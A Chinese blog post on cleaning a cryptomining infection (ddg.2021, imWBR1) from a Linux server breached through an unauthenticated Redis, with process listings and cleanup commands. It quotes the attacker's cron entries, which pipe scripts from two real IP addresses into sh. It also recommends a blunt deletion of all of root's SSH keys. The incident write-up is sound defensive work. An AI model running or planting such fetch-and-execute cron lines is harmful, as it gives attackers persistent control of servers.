分类：版权声明：本文为zjcjava原创文章，转载请注明出处http://blog.csdn.net/zjcjava https://blog.csdn.net/zjcjava/article/details/78881803
背景
检查服务器资源的时候发现服务器的CPUC已经100%，而且是一直是这样，
最近三天的CPU使用率直方图 
当前一个小时的直方图 
18：15：00笔直下降的是我在处理后CPU的使用率情况
找到它在哪里
先看top进程使用情况
# top
top - 18:10:50 up 196 days, 18:59, 2 users, load average: 4.47, 4.21, 4.11
Tasks: 163 total, 1 running, 162 sleeping, 0 stopped, 0 zombie
%Cpu(s): 0.0 us, 1.6 sy, 98.4 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 16267972 total, 185160 free, 14179644 used, 1903168 buff/cache
KiB Swap: 0 total, 0 free, 0 used. 1689432 avail Mem
Which user (blank for all)
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
16634 root 20 0 541132 50260 0 S 400.0 0.3 78595:40 imWBR1
1 root 20 0 43296 2364 1112 S 0.0 0.0 52:21.51 systemd
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
根据CPU使用率排序，可以看到排行第一imWBR1的CPU使用率是400%，它的进程id是16634
根据它的进程查看命令情况
# ps 16634
PID TTY STAT TIME COMMAND
16634 ? Ssl 78597:57 /tmp/imWBR1- 1
- 2
- 3
可以看到它是从/tmp/imWBR1运行的
那么我们查看该目录下的执行文件
ls /tmp/
Aegis-<Guid(5A2C30A2-A87D-490A-9281-6765EDAD7CBA)>
ddg.2021
hsperfdata_root
mysql.sock
php-cgi.sock
sess_08bs7nf1rl24pem9ve5fbeg5a6- 1
- 2
- 3
- 4
- 5
- 6
- 7
可以看到ddg.2021是绿色的，那么可以肯定它就是该程序的启动命令或者是守护程序
当我kill 16634后 它之后依然会出现在进程中，显然他是杀不死的，因此寻找命令有
ddg.2021会发现它也有一个自己的进程一直在跑
top之后看下图
#top
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
16634 root 20 0 541132 50260 0 S 399.3 0.3 78613:31 imWBR1
3195 root 20 0 8030128 1.647g 0 S 0.3 10.6 47:12.17 java
10111 root 20 0 1565408 71356 888 S 0.3 0.4 951:29.45 ddg.2021
- 1
- 2
- 3
- 4
- 5
- 6
看到ddg.2021的进程id是10111
那么先删除命令脚本，在杀死进程
rm -f /tmp/ddg.2021
kill -9 10111
kill -9 16634- 1
- 2
- 3
杀不死的小强
是不这样就可以了呢，很可惜，我以为这样就可以了，但是它并没有啊，请看下面的图 
显然它在15分钟后开始自启动了，接着大概在18：37分钟的时候它又开始工作了，重新开启399.7%CPU
进程情况如下
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
2791 root 20 0 541148 44416 1000 S 399.7 0.3 40:45.54 imWBR1
2607 root 20 0 310392 9268 5776 S 0.3 0.1 0:01.14 ddg.2021
4292 root 20 0 27768 1584 516 S 0.3 0.0 26:33.63 redis-server
7110 root 20 0 251348 16712 3072 S 0.3 0.1 181:11.61 AliYunDun
- 1
- 2
- 3
- 4
- 5
- 6
而/tmp目录中又出现了ddg.2021，而且还多了imWBR1
ls /tmp/
ddg.2021
hsperfdata_root
imWBR1- 1
- 2
- 3
- 4
再次删除并杀掉进程
rm -f /tmp/ddg.2021 /tmp/imWBR1
kill -9 2791
kill -9 2607- 1
- 2
- 3
最终版本：找到它的定时任务并删除执行脚本和SSH的公钥
可以肯定的是一点会有一个定时任务在不停的检测是否程序被杀死了，如果杀死了并且可执行文件也被删除了那么它就会自动下载源程序并且启动执行脚本。
根据参考文档我去/var/spool/cron这个文件夹看了下，事实就是如此，那么我们来看看它的定时任务内容
cat /var/spool/cron/crontabs/root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh- 1
- 2
- 3
- 可以看出它有两个定时任务
删除/var/spool/cron下的内容
rm -fr /var/spool/cron/- 1
2.删除ssh授权的公钥配置信息
rm -fr /root/.ssh/*- 1
3.删除执行脚本和程序
在执行上面相似的方法
ps -aux|grep ddg
3458 /tmp/ddg.2021
kill -9 3458
ps -aux|grep imWBR1
3649 /tmp/imWBR1
kill -9 3649
rm -f /tmp/ddg.2021 /tmp/imWBR1- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
4.清空/etc/crontab中的定时任务
接着找定时任务，我在/etc/crontab找到一个，看ip就觉得有问题
cat /etc/crontab
REDIS0006▒cccccc@O
*/1 * * * * /usr/bin/curl -fsSLk 'http://104.161.63.57/install.curl' | sh
- 1
- 2
- 3
- 4
清空该定时任务
echo '' > /etc/crontab- 1
根据定时任务查看这些脚本文件的内容
从他们提供的ip中我们可以看到如下信息
两台服务器的地址都在国外：
第一个IP：218.248.40.228印度
第二个IP：104.161.63.57美国
第一个ip的8080端口开启了使用的是Apache Tomcat 6.0
第二个IP的80端口模仿Apache 的页面
两个脚本，第一个ip的脚步内容是下载挖矿程序并开启定时任务
第二个脚本则比较厉害了，直接关闭防火墙，并且把远程把远程的SSH公钥添加到author-key中了，这样你的机器基本就是裸机了
为什么会出现上面的情况，阿里云给出的原因如下
https://help.aliyun.com/knowledge_detail/37447.html
Redis 因配置不当存在未授权访问漏洞，可以被攻击者恶意利用。
在特定条件下，如果 Redis 以 root 身份运行，黑客可以给 root 账号写入 SSH 公钥文件，直接通过 SSH 登录受害服务器，从而获取服务器权限和数据。一旦入侵成功，攻击者可直接添加账号用于 SSH 远程登录控制服务器，给用户的 Redis 运行环境以及 Linux 主机带来安全风险，如删除、泄露或加密重要数据，引发勒索事件等。
受影响范围
在 Redis 客户端，尝试无账号登录 Redis：
root@kali:~# redis-cli -h 10.16.10.2
redis 10.16.10.2:6379=keys *- 1
- 2
从登录结果可以看出，该 Redis 服务对公网开放，且未启用认证。
二.修复方案
请查看我的另一篇文章：Redis配置不当致使root被提权漏洞
http://blog.csdn.net/zjcjava/article/details/78558392
我只能说还好别人没有把你的系统资源给删除了，不然就哭去吧，说到这么多，公网的安全工作一定要做好，惊心动魄啊
参考资料
清除wnTKYg 这个挖矿工木马的过程讲述
http://blog.sina.com.cn/s/blog_c08907b10102wyyl.html
Centos7被攻击做成YAM挖矿肉鸡
https://bbs.aliyun.com/simple/t285728.html